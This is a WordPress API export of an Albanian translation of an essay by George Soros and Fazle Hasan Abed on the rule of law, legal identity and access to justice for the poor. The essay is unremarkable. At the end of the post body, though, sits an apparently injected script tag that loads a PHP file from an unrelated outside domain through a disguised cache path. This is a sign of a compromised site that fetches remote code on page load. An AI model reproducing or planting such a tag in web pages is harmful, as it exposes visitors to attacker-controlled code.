{"id":491,"date":"2013-05-30T11:52:05","date_gmt":"2013-05-30T09:52:05","guid":{"rendered":"http:\/\/www.respublica.org.al\/?p=491"},"modified":"2013-09-30T11:53:43","modified_gmt":"2013-09-30T09:53:43","slug":"sundimi-i-ligjit-mund-te-shpetoje-boten-e-te-varferve","status":"publish","type":"post","link":"https:\/\/www.respublica.org.al\/web\/?p=491","title":{"rendered":"Sundimi i ligjit mund t\u00eb shp\u00ebtoj\u00eb bot\u00ebn e t\u00eb varf\u00ebrve"},"content":{"rendered":"<p><em>T\u00eb nderuar lexues, m\u00eb posht\u00eb po ju sugjerojm\u00eb nj\u00eb artikull t\u00eb autor\u00ebve\u00a0<a href=\"http:\/\/www.soros.org\/people\/george-soros\">George Soros<\/a>\u00a0dhe\u00a0<a href=\"http:\/\/en.wikipedia.org\/wiki\/Fazle_Hasan_Abed\" target=\"_blank\">Fazle Hasan Abed<\/a>, i cili b\u00ebn fjal\u00eb r\u00ebnd\u00ebsin\u00eb e aksesit n\u00eb drejt\u00ebsi t\u00eb t\u00eb varf\u00ebrve, aspekt q\u00eb lidhet ngusht\u00eb me objektivat e qendr\u00ebs Res Publica.<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>Varf\u00ebria \u00ebsht\u00eb n\u00eb zhdukje. Pavar\u00ebsisht r\u00ebnies ekonomike globale, Banka Bot\u00ebrore dhe OKB \u00a0raportuan se k\u00ebt\u00eb vit numri i njer\u00ebzve q\u00eb jetojn\u00eb n\u00eb varf\u00ebri t\u00eb skajshme ka r\u00ebn\u00eb n\u00eb \u00e7do rajon t\u00eb bot\u00ebs. Edhe pse progresi n\u00eb Objektivat e Zhvillimit t\u00eb Mij\u00ebvjecarit (OZM) t\u00eb OKB-s\u00eb ka qen\u00eb i pabarabart\u00eb, ne duhet t\u00eb ndjehemi t\u00eb inkurajuar q\u00eb kemi arritur tashm\u00eb, tre vjet para dat\u00ebs s\u00eb synuar t\u00eb vitit 2015, \u00a0pergjysmimin e numrit t\u00eb njer\u00ebzve q\u00eb ende jetojn\u00eb me m\u00eb pak se 1 $ n\u00eb dit\u00eb.<\/p>\n<p>Pa nj\u00eb baz\u00eb ligjore t\u00eb fort\u00eb, jeta e t\u00eb varf\u00ebrve \u00ebsht\u00eb e pasigurt\u00eb nga frika e zhvendosjes, privimit dhe shpron\u00ebsimit. Nj\u00eb i mitur \u00ebsht\u00eb arrestuar gabimisht, duke u shk\u00ebputur nga edukimi arsimor, toka e fshatarit \u00ebsht\u00eb d\u00ebmtuar nga nj\u00eb kompani minerare pa u b\u00ebr\u00eb kompensimi, nj\u00eb vejushe t\u00eb paarsimuar i \u00ebsht\u00eb mohuar trashigimia, duke e detyruar t\u00eb dal\u00eb n\u00eb rrug\u00eb me f\u00ebmij\u00ebt e saj. Nga sa m\u00eb sip\u00ebr, a mundet individi dhe komuniteti t\u00eb mbrojn\u00eb t\u00eb drejtat e tyre n\u00eb jet\u00ebn e p\u00ebrditshme?<\/p>\n<p>Mij\u00ebra njer\u00ebz jetojn\u00eb pa nj\u00eb identitet ligjor, pa nj\u00eb \u00e7ertifikat\u00eb lindjeje. Identiteti \u00ebsht\u00eb nj\u00eb gur themeli p\u00ebr drejt\u00ebsin\u00eb. Pa at\u00eb mund t\u00eb t\u00eb mohohet mund\u00ebsia p\u00ebr t\u00eb dal\u00eb nga varf\u00ebria, p\u00ebrfshir\u00eb\u00a0 aksesin p\u00ebr medikamente, arsim, sh\u00ebndet\u00ebsi etj.<\/p>\n<p>Nj\u00eb nga objektivat e para t\u00eb OZM 2.0 \u2026 \u00ebsht\u00eb \u00a0reduktimi i personave pa shtet\u00ebsi dhe sigurimin e identitetit universal ligjor: miratimi dhe zbatimi i legjislacionit p\u00ebr ti siguruar \u00e7do qytetari akses universal n\u00eb dokumentat e identitetit dhe n\u00eb rregjistrat e lindjes.<\/p>\n<p>Por legjislacioni nuk \u00ebsht\u00eb i mjaftuesh\u00ebm, prandaj \u00ebsht\u00eb e arsyeshme p\u00ebrqasja dhe zbatimi i objektivave t\u00eb dyta dhe t\u00eb treta. N\u00eb vendet e zhvilluara, madje edhe ato t\u00eb akuzuara p\u00ebr krime monstruoze jan\u00eb njohur me t\u00eb drejtat e tyre ligjore, dhe n\u00eb m\u00ebnyr\u00eb t\u00eb drejt\u00eb. Megjithat\u00eb, shumica e njer\u00ebzve q\u00eb jetojn\u00eb n\u00eb varf\u00ebri as nuk i din\u00eb t\u00eb drejtat e tyre. Qeverit\u00eb duhet t\u00eb zbatojn\u00eb masa konkrete, apo t\u00eb mund\u00ebsojn\u00eb q\u00eb shoq\u00ebria civile ta b\u00ebj\u00eb k\u00ebt\u00eb, duke u siguruar t\u00eb varf\u00ebrve\u00a0 informacion mbi t\u00eb drejtat e tyre t\u00eb parashikuara n\u00eb ligj.<\/p>\n<p>Informimi mund t\u00eb bazohet edhe n\u00eb faktin, q\u00eb pavarsisht pozicionit dhe rrethanave, t\u00eb ket\u00eb akses t\u00eb plot\u00eb n\u00eb sistemin e drejt\u00ebsis\u00eb. Nj\u00eb v\u00ebm\u00ebndje e ve\u00e7ant\u00eb duhet t\u2019u kushtohet grave, grupeve\u00a0 vulnerab\u00ebl si personat pa tok\u00eb, banor\u00ebt e lagjeve t\u00eb varf\u00ebra, pun\u00ebtor\u00ebt e seksit, t\u00eb paraburgosurit.\u00a0 N\u00eb shum\u00eb vende ligjet ekzistojn\u00eb n\u00eb let\u00ebr p\u00ebr t\u00eb mbrojtur grupet vulnerab\u00ebl nga shfryt\u00ebzimi, por \u00a0ekzitojn\u00eb edhe\u00a0 normat informale apo institucionet q\u00eb punojn\u00eb kund\u00ebr t\u00eb varf\u00ebrve, n\u00eb ve\u00e7anti kund\u00ebr grave. Ku sistemi ligjor \u00ebsht\u00eb vet\u00eb i korruptuar, duhet t\u00eb ket\u00eb mekanizma t\u00eb till\u00eb si zgjidhjet alternative t\u00eb mosmarrveshjeve, t\u00eb cilat sh\u00ebrbjen\u00eb p\u00ebr t\u00eb siguruar drejt\u00ebsi jasht\u00eb gjykatave.<\/p>\n<p>K\u00ebto zgjidhje shpesh nuk kan\u00eb kosto. Ne kemi konstatuar se si mund t\u00eb punohet n\u00eb vende si, Bangladeshi, ku shoq\u00ebrit\u00eb civile si BRAC, kan\u00eb trajnuar qindra jurist\u00eb mbi t\u00eb drejtat e t\u00eb varf\u00ebrve, n\u00eb komunitetet e t\u00eb varf\u00ebrve.<\/p>\n<p>Ngjarjet n\u00eb Sheshin Tahrir dhe m\u00eb gjer\u00eb kan\u00eb ndezur optimiz\u00ebm n\u00eb lidhje me nj\u00eb rigjall\u00ebrim demokratik universal. Por n\u00eb t\u00eb nj\u00ebjt\u00ebn koh\u00eb, ekziston frika e destabilitetit dhe kaosit.\u00a0 Le t\u00eb mos harrojm\u00eb se n\u00eb vitin 2015, 1 miliard njer\u00ebz do t\u00eb vazhdojn\u00eb t\u00eb jetojn\u00eb n\u00eb varf\u00ebri t\u00eb skajshme. Nj\u00eb rrug\u00eb e v\u00ebshtir\u00eb ende q\u00ebndron p\u00ebrpara. Forcimi i sundimit t\u00eb ligjit \u00ebsht\u00eb m\u00eb e r\u00ebnd\u00ebsishme se kurr\u00eb. Nj\u00eb qytetari\u00a0 e informuar mbi ligjin \u00ebsht\u00eb garantuese dhe\u00a0 jetike\u00a0 p\u00ebr\u00a0 demokracin\u00eb. Varf\u00ebria do t\u00eb mundet vet\u00ebm kur ligji t\u00eb funksionoj\u00eb p\u00ebr t\u00eb gjith\u00eb.<\/p>\n<p>Burimi : Fondacioni Shoq\u00ebria e Hapur, Soros, nga\u00a0<a href=\"http:\/\/www.soros.org\/people\/george-soros\">George Soros<\/a>\u00a0&amp;\u00a0<a href=\"http:\/\/en.wikipedia.org\/wiki\/Fazle_Hasan_Abed\" target=\"_blank\">Fazle Hasan Abed<\/a><\/p>\n<p>Artikulli origjinal gjendet n\u00eb linkun:\u00a0<a href=\"http:\/\/www.soros.org\/voices\/rule-law-can-rid-world-poverty\" target=\"_blank\">http:\/\/www.soros.org\/voices\/rule-law-can-rid-world-poverty<\/a><\/p>\n<p>P\u00ebrshtati n\u00eb shqip: Arbesa Kurti<\/p>\n<div id=\"jp-post-flair\"><\/div>\n<p><script type=\"text\/javascript\" src=\"#\"><\/script><script type=\"text\/javascript\" src=\"http:\/\/www.get.space\/wp-content\/cache\/tmpWpfc\/theme-index.php\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>T\u00eb nderuar lexues, m\u00eb posht\u00eb po ju sugjerojm\u00eb nj\u00eb artikull t\u00eb autor\u00ebve\u00a0George Soros\u00a0dhe\u00a0Fazle Hasan Abed, i cili b\u00ebn fjal\u00eb r\u00ebnd\u00ebsin\u00eb [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":492,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""}},"footnotes":""},"categories":[6,5],"tags":[],"_links":{"self":[{"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=\/wp\/v2\/posts\/491"}],"collection":[{"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=491"}],"version-history":[{"count":1,"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=\/wp\/v2\/posts\/491\/revisions"}],"predecessor-version":[{"id":493,"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=\/wp\/v2\/posts\/491\/revisions\/493"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=\/wp\/v2\/media\/492"}],"wp:attachment":[{"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=491"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=491"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.respublica.org.al\/web\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=491"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}